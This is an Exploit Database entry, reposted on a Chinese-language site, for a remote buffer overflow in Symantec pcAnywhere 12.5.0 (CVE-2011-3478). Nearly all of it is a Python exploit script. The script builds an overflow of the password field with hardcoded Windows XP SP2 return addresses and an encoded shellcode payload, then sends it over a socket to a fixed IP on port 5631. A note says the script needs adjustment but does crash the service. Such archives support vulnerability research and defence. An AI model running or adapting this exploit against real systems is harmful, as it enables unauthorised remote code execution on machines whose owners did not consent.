Symantec pcAnywhere 12.5.0 – ‘Login’ / ‘Password’ Remote Buffer Overflow

Exploit Database
137 阅读

作者： S2 Crew

日期： 2012-06-27
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/19407/

#!/usr/bin/python

# Exploit Title: Symantec PcAnywhere login and password field buffer overflow

# Date: 2012.06.27

# Author: S2 Crew [Hungary]

# Software Link: symantec.com

# Version: 12.5.0

# Tested on: Windows XP SP2

# CVE: CVE-2011-3478

#EDB Note: Needs adjustment but there is a crash

# Code :

import socket

import time

import struct

import string

import sys

shell = (

"\xda\xda\xbb\x9e\x7f\xfb\x04\xd9\x74\x24\xf4\x58\x2b\xc9"

"\xb1\x56\x31\x58\x18\x03\x58\x18\x83\xc0\x9a\x9d\x0e\xf8"

"\x4a\xe8\xf1\x01\x8a\x8b\x78\xe4\xbb\x99\x1f\x6c\xe9\x2d"

"\x6b\x20\x01\xc5\x39\xd1\x92\xab\x95\xd6\x13\x01\xc0\xd9"

"\xa4\xa7\xcc\xb6\x66\xa9\xb0\xc4\xba\x09\x88\x06\xcf\x48"

"\xcd\x7b\x3f\x18\x86\xf0\xed\x8d\xa3\x45\x2d\xaf\x63\xc2"

"\x0d\xd7\x06\x15\xf9\x6d\x08\x46\x51\xf9\x42\x7e\xda\xa5"

"\x72\x7f\x0f\xb6\x4f\x36\x24\x0d\x3b\xc9\xec\x5f\xc4\xfb"

"\xd0\x0c\xfb\x33\xdd\x4d\x3b\xf3\x3d\x38\x37\x07\xc0\x3b"

"\x8c\x75\x1e\xc9\x11\xdd\xd5\x69\xf2\xdf\x3a\xef\x71\xd3"

"\xf7\x7b\xdd\xf0\x06\xaf\x55\x0c\x83\x4e\xba\x84\xd7\x74"

"\x1e\xcc\x8c\x15\x07\xa8\x63\x29\x57\x14\xdc\x8f\x13\xb7"

"\x09\xa9\x79\xd0\xfe\x84\x81\x20\x68\x9e\xf2\x12\x37\x34"

"\x9d\x1e\xb0\x92\x5a\x60\xeb\x63\xf4\x9f\x13\x94\xdc\x5b"

"\x47\xc4\x76\x4d\xe7\x8f\x86\x72\x32\x1f\xd7\xdc\xec\xe0"

"\x87\x9c\x5c\x89\xcd\x12\x83\xa9\xed\xf8\xb2\xed\x23\xd8"

"\x97\x99\x41\xde\x06\x06\xcf\x38\x42\xa6\x99\x93\xfa\x04"

"\xfe\x2b\x9d\x77\xd4\x07\x36\xe0\x60\x4e\x80\x0f\x71\x44"

"\xa3\xbc\xd9\x0f\x37\xaf\xdd\x2e\x48\xfa\x75\x38\x71\x6d"

"\x0f\x54\x30\x0f\x10\x7d\xa2\xac\x83\x1a\x32\xba\xbf\xb4"

"\x65\xeb\x0e\xcd\xe3\x01\x28\x67\x11\xd8\xac\x40\x91\x07"

"\x0d\x4e\x18\xc5\x29\x74\x0a\x13\xb1\x30\x7e\xcb\xe4\xee"

"\x28\xad\x5e\x41\x82\x67\x0c\x0b\x42\xf1\x7e\x8c\x14\xfe"

"\xaa\x7a\xf8\x4f\x03\x3b\x07\x7f\xc3\xcb\x70\x9d\x73\x33"

"\xab\x25\x83\x7e\xf1\x0c\x0c\x27\x60\x0d\x51\xd8\x5f\x52"

"\x6c\x5b\x55\x2b\x8b\x43\x1c\x2e\xd7\xc3\xcd\x42\x48\xa6"

"\xf1\xf1\x69\xe3"

)

init1 = (

"\x00\x00\x00\x00" # kezdeti handshake

)

init2 = (

"\x0d\x06\xfe" # Enter username uzenet koveti (NTdialog)

)

init3 = (

"A" * 100 #+ "\r" #username

)

readable_xp_sp2 = struct.pack('<L',0x023E5AD0)

call_esi = struct.pack('<L',0x67f7aac4)

jmp = struct.pack('<L',0x414112EB)

init4 = (

"B" * 1282 + jmp + readable_xp_sp2 + "DDDD" +call_esi + "AAAA" + shell + "E" * (4000 - 1286 - 12 - len(shell))

)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('172.16.29.133',5631)) # hardcoded IP address

print "init packet..."

s.send(init1) # send the data

time.sleep(5)

data = s.recv(1024)

print "handshake packet..."

s.send(init2) # send the data

time.sleep(5)

data = s.recv(1024)

print "username packet..."

s.send(init3) # send the data

time.sleep(5)

#data = s.recv(1024)

print "password packet..."

s.send(init4) # send the data

s.close()